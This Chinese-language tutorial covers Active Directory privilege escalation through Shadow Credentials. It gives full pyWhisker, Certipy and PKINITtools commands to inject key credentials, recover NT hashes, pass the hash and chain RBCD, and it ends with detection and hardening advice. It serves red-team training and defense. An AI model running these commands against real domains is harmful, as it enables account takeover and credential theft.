利用 Shadow Credentials 实现 Active Directory 提权:pyWhisker、Certipy 与 PKINIT 工具链实战
利用 Shadow Credentials 实现 Active Directory 提权pyWhisker、Certipy 与 PKINIT 工具链实战【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills导读Shadow Credentials 是 Active Directory 攻击面中一类高价值的凭据操纵技术攻击者在拥有目标用户或计算机对象msDS-KeyCredentialLink属性写权限的前提下注入自己生成的公钥再通过 PKINIT 认证流程取回目标账户的 NT Hash实现无需重置密码的完整账户接管。本文以 Abusing Shadow Credentials for Privilege Escalation 技能为骨架系统梳理 pyWhisker、Certipyshadow、PKINITtools 三大工具的完整调用方式与参数含义并结合该技能目录下的编排脚本 scripts/agent.py 从源码层面解析整个攻击链的落地细节、检测信号与修复建议。读完本文你将掌握从确认写权限到注入 Key Credential再到取回 NT Hash 并清理痕迹的完整实战流程。一、技术原理为什么向msDS-KeyCredentialLink写入公钥即可拿下账户Shadow Credentials 技术滥用的核心属性是 Active Directory 用户与计算机对象上的msDS-KeyCredentialLink。该属性存储原始公钥即Key Credentials其官方用途是支撑 Windows Hello for Business 与 Azure AD 设备注册所依赖的免密码证书登录——也就是 Kerberos 的 PKINITPublic Key Cryptography for Initial Authentication流程。攻击链的可行性完全取决于 ACL 写权限当攻击者掌握目标对象msDS-KeyCredentialLink的写权限通常由GenericWrite、GenericAll、WriteProperty或AddKeyCredentialLink等 ACE 授予这些路径可通过 BloodHound 快速定位时就可以将自己的公钥追加到目标对象的该属性中。此后攻击者持有与注入公钥配套的私钥使用该私钥通过 PKINIT 向域控请求目标账户的 TGTKerberos 票据从 AS-REP 加密材料中恢复目标账户的 NT Hash。整个过程不修改密码因此不会触发密码重置类告警、不会锁定合法用户隐蔽性远高于ForceChangePassword一类的暴力手法。适用前提与限制目标环境必须支持 PKINIT且至少有一台运行 Windows Server 2016 及以上版本的域控制器域功能级别需支持 Key Trust。攻击面仅限已获得授权的红队/紫队场景——Shadow Credentials 会带来目标账户的完全接管未经授权使用属于违法行为。这些前提在 SKILL.md 的 Prerequisites 与 Legal Notice 中有明确说明。1.1 本技能在仓库中的定位在 Anthropic-Cybersecurity-Skills 仓库共 817 个结构化网络安全技能中该技能归属cybersecurity / red-teaming领域标签涵盖shadow-credentials、pywhisker、certipy、pkinit、key-credential-link、privilege-escalation并完成双重框架映射MITRE ATTCKT1098.005Account Manipulation: Device Registration——写入攻击者控制的 Key Credential 等同于为目标账户注册了一个备用的设备/证书凭据恰好对应该子技术描述的设备注册操纵行为NIST CSF 2.0PR.AA-05——攻击之所以可行正是因为目标对象上存在过度授权的 ACEGenericWrite/GenericAll/AddKeyCredentialLink修复方向正是最小权限的强制执行。完整的映射理由与关联技术T1649、T1550.003/T1558见 references/standards.md。二、工具链总览与准备工作完整攻击链需要三类工具协作技能文档 SKILL.md 在 Prerequisites 中给出了标准安装方式工具角色安装方式pyWhisker通过 LDAP 读写msDS-KeyCredentialLink生成并注入 Key Credentialgit clone后pip install .Certipy集成shadow auto一键完成注入 → PKINIT → 取 Hash → 清理全流程pipx install certipy-adPKINITtools手动完成 PKINIT 请求 TGT 与 NT Hash 提取git clone即可前置环境要求已获得授权的渗透测试范围包含 AD 凭据获取类技术掌握一个对目标msDS-KeyCredentialLink具备写权限的主体一台 Windows Server 2016 且启用 PKINIT 的域控制器攻击主机与域控之间可达 LDAP389/636与 Kerberos88端口Linux 攻击主机需 Python 3.8。三、pyWhisker 完整参数参考核心参考文档pyWhisker 是 ShutdownRepo 维护的 Python 实现原始 C# 版本为 Elad Shamir 的 Whisker调用范式为python3 pywhisker.py [auth] --target obj --action action [opts]3.1 认证参数参数含义-d DOMAIN目标域名FQDN如corp.local-u USER受控用户名-p PASSWORD明文密码-k/--no-pass使用 Kerberos 认证依赖环境变量KRB5CCNAME指向的 ccache-H LM:NT传递哈希Pass-the-Hash3.2 操作参数参数含义--target NAME目标用户/计算机名将修改其属性--action list枚举目标上已存在的 Key Credentials--action add生成密钥对并写入 Key Credential--action remove按--device-id移除指定的某一条 Key Credential--action clear清空全部 Key Credentials--action info展示某条 Key Credential 的详细信息--filename NAME输出 PFX/PEM 文件的基名--export PEM\|PFX输出格式默认 PFX--device-id GUIDremove/info 操作锁定的目标设备 ID--dc-ip IP指定域控制器 IP--use-ldaps改用 LDAPS636 端口通信3.3 pyWhisker 示例python3 pywhisker.py -d corp.local -u attacker -p Passw0rd! \ --target victim --action add --filename victim_shadow该命令会生成密钥对写入目标的msDS-KeyCredentialLink并在本地落盘victim_shadow.pfx同时打印 PFX 密码供后续 PKINIT 步骤使用。若你只持有 Kerberos 票据而非密码可切换到票据认证并使用 LDAPS 加密通道python3 pywhisker.py -d corp.local -u attacker -k --no-pass \ --target victim --action add --filename victim_shadow --use-ldaps四、Certipyshadow子命令参考核心参考文档Certipyly4k/Certipy安装包名certipy-ad把整条攻击链封装为shadow子命令命令含义certipy shadow auto端到端一键执行添加 Key Credential → PKINIT 认证 → 导出 NT Hash → 清理恢复certipy shadow add仅添加 Key Credentialcertipy shadow list列出目标上的 Key Credentialscertipy shadow clear清空 Key Credentialscertipy shadow info展示 Key Credential 详情4.1 关键认证与定位参数参数含义-u USERDOMAIN用户名UPN 形式-p PW明文密码-hashes :NT传递 NT Hash-k/-no-pass使用 Kerberos ccache-dc-ip IP域控制器 IP-account TARGET目标账户计算机账户需带结尾$如WS01$-ns IP/-dns-tcp指定 DNS 解析器 / 强制 TCP 查询 DNS4.2 Certipy 示例certipy shadow auto -u attackercorp.local -p Passw0rd! \ -dc-ip 10.0.0.100 -account WS01$shadow auto对计算机账户接管场景尤其高效——它会在内部自动完成 add → PKINIT → dump hash → cleanup 四个阶段避免手动逐步操作带来的遗漏。需要说明的是shadow只是 Certipy 众多子命令之一其余还包括find、req、auth、relay、ca、forge等同仓库的 exploiting-adcs-with-certipy/references/api-reference.md 提供了 Certipy 全量子命令与公共认证参数-hashes [LM]:NT、-ns IP/-dns-tcp、-debug等的交叉参考。五、PKINITtools手动取回 TGT 与 NT Hash核心参考文档当不使用shadow auto一键流程时PKINITtoolsdirkjanm承担 PKINIT 阶段的最后两步脚本用途gettgtpkinit.py -cert-pfx FILE -pfx-pass PW DOMAIN/USER out.ccache通过 PKINIT 请求 TGT同时打印 AS-REP 会话密钥AS-REP keygetnthash.py -key AS-REP-KEY DOMAIN/USER依据 AS-REP 密钥恢复 NT Hash需已设置KRB5CCNAME5.1 示例python3 gettgtpkinit.py -cert-pfx victim_shadow.pfx -pfx-pass abc123 \ corp.local/victim victim.ccache export KRB5CCNAMEvictim.ccache python3 getnthash.py -key AS-REP-KEY corp.local/victim其中AS-REP-KEY是gettgtpkinit.py输出的会话密钥源码注释将其称为 AS-REP encryption keygetnthash.py正是借助它解密 AS-REP 中的 NT Hash 字段。六、源码级解析仓库编排脚本如何封装整条攻击链仓库在 scripts/agent.py 中提供了一个可复用的编排器shadowcred_takeover.py它把上面的工具链封装为两个子命令可以直接作为红队自动化模板使用# 走 Certipy 一键流程 python shadowcred_takeover.py certipy -u attackercorp.local -p Passw0rd! \ --dc-ip 10.0.0.100 --target WS01$ # 走 pyWhisker PKINITtools 手动流程 python shadowcred_takeover.py pywhisker -d corp.local -u attacker \ -p Passw0rd! --dc-ip 10.0.0.100 --target victim \ --pywhisker ./pywhisker/pywhisker.py6.1 Certipy 流程的调用链从源码结构看certipy_flow函数agent.py 第 58-81 行构造的命令与文档完全一致启动前用_which_or_die检查certipy二进制是否存在缺失时提示pipx install certipy-ad认证参数三选一-p明文密码、-hashes传递哈希、-k -no-passKerberos三者皆无则直接退出并提示错误可选追加-ns IP -dns-tcp控制 DNS 解析方式通过run()以 600 秒超时执行子进程parse_nthash用正则Got hash for ...:aad3b...:NT从输出中剥离出 32 位十六进制的 NT Hash 片段agent.py 第 49-55 行成功后直接打印可复用的横向移动命令nxc smb dc-ip -u target -H NT。6.2 pyWhisker 流程的调用链pywhisker_flowagent.py 第 83-112 行则校验--pywhisker指向的脚本存在后构造--action add --filename shadow_target命令同样支持-p或-k --no-pass两种认证分支从输出中正则提取 PFX 密码匹配Password for the PFX: pw模式打印后续 PKINITtools 的接续步骤提示gettgtpkinit.py/getnthash.py并强制提示完成后用--action clear清理注入的 Key Credential。这印证了文档中add → PKINIT → NT hash → cleanup的标准工作流也体现了该技能操作后恢复对象原状的实战纪律。七、完整攻击工作流八步实战结合 SKILL.md 的 Workflow 章节完整流程如下Step 1确认写权限先对目标执行list既能验证权限可用也能记录攻击前状态python3 pywhisker.py -d corp.local -u attacker -p Passw0rd! \ --target victim --action list返回空列表或可读结果即说明具备下一步add所需的写权限。Step 2注入 Shadow Credentialpython3 pywhisker.py -d corp.local -u attacker -p Passw0rd! \ --target victim --action add --filename victim_shadow # 生成 victim_shadow.pfx 并打印 PFX 密码Step 3通过 PKINIT 请求 TGTpython3 PKINITtools/gettgtpkinit.py \ -cert-pfx victim_shadow.pfx -pfx-pass PFX_PASSWORD \ corp.local/victim victim.ccacheStep 4恢复 NT Hashexport KRB5CCNAMEvictim.ccache python3 PKINITtools/getnthash.py -key AS-REP-KEY-FROM-STEP-3 corp.local/victim # 输出 victim 的 NT hashStep 5Certipy 一键替代方案certipy shadow auto -u attackercorp.local -p Passw0rd! \ -dc-ip 10.0.0.100 -account victim # 计算机账户使用带 $ 的 sAMAccountName certipy shadow auto -u attackercorp.local -p Passw0rd! \ -dc-ip 10.0.0.100 -account WS01$Step 6利用恢复的凭据继续移动# 使用 NT hash 进行 Pass-the-Hash nxc smb 10.0.0.10 -u victim -H RECOVERED-NT-HASH # 或直接使用 TGT 票据 export KRB5CCNAMEvictim.ccache nxc smb dc.corp.local -u victim --use-kcacheStep 7可选计算机账户 → RBCD 链式利用当目标是计算机账户时取回的密钥/Hash 可进一步配置基于资源的约束性委派RBCD实现向该主机任意用户冒充# 设置 RBCD使攻击者控制的 SPN 可向 WS01$ 冒充任意用户 impacket-rbcd -delegate-from attacker$ -delegate-to WS01$ \ -action write corp.local/attacker:Passw0rd!Step 8清理# pyWhisker按 device-id 移除add 时打印或清空自己注入的全部 python3 pywhisker.py -d corp.local -u attacker -p Passw0rd! \ --target victim --action remove --device-id DEVICE-ID # Certipy shadow auto 会自动清理手动流程则执行 certipy shadow clear -u attackercorp.local -p Passw0rd! \ -dc-ip 10.0.0.100 -account victim八、检测信号与加固建议8.1 检测信号参考文档中的 Detection signalWindows 安全事件 ID 5136目录对象修改事件。需开启目录服务更改(Directory Service Changes) 审计监控msDS-KeyCredentialLink属性的变更BloodHound 边AddKeyCredentialLink边直接标识出哪些主体具备该写权限可用于攻击路径可视化与权限收敛排查。8.2 检测与修复要点维度建议检测监控事件 5136 中msDS-KeyCredentialLink的修改当非 AD Connect / 非 Intune 主体写入该属性时应立即告警审计在用户/计算机 OU 上启用目录服务对象更改审计最小权限移除多余的GenericWrite/GenericAll/AddKeyCredentialLinkACE对应 BloodHound 的AddKeyCredentialLink边缓解在未使用 Windows Hello/设备注册的环境中限制 Key Credentials 的写入者范围并考虑对 Tier-0 受保护账户单独加固九、验证清单依据 SKILL.md 的 Validation Criteria一次完整的 Shadow Credentials 提权练习应以以下结果作为收尾标准对目标msDS-KeyCredentialLink的写权限已确认list成功Key Credential 注入成功PFX 已生成为目标账户成功取得 PKINIT TGT目标 NT Hash 已恢复并通过某服务验证可用若为计算机账户RBCD 链式利用或后续移动已验证注入的 Key Credential 已移除 / 对象状态已恢复已记录并给出授权 ACL 路径的修复建议十、小结Shadow Credentials 之所以成为红队高价值技术在于它把可写对象属性的低危权限放大为账户完全接管pyWhisker 负责属性注入、PKINITtools 负责取回凭据、Certipyshadow auto则把整条链路压缩为一条命令。对防守方而言事件 5136 与AddKeyCredentialLink边的持续监控、最小权限的 ACE 收敛是阻断这类攻击的关键。本文对应的完整技能定义、框架映射与可复用编排脚本可分别参考 SKILL.md、references/standards.md 与 scripts/agent.py。【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考